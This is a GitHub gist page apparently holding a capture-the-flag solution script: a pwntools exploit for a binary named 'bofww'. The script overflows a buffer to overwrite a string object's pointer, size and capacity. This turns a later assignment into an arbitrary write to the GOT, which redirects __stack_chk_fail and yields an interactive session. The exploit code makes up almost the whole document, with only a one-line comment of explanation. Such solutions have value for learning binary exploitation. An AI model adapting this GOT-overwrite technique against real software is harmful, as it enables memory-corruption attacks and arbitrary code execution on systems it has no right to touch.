Skip to content

Instantly share code, notes, and snippets.

@c0nrad

c0nrad/solve.py Secret

Created February 8, 2025 23:21
Show Gist options
  • Save c0nrad/b054c9e7cd99f4dcd92f351758c5b2ce to your computer and use it in GitHub Desktop.
Save c0nrad/b054c9e7cd99f4dcd92f351758c5b2ce to your computer and use it in GitHub Desktop.
import pwn
elf = pwn.ELF("./bofww_patched")
pwn.context.binary = elf
pwn.context.log_level = "DEBUG"
p = elf.process()
# Overwrite main.name string ([ptr, size, capacity]) so that the assignment operator in input_person is an arbitrary write to GOT
p.sendlineafter("name? ", pwn.flat({0: 0x4012f6, 'baad': [elf.got["__stack_chk_fail"], 0x400, 0x400]}))
p.sendlineafter("you?", str(0xdeadbeef))
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment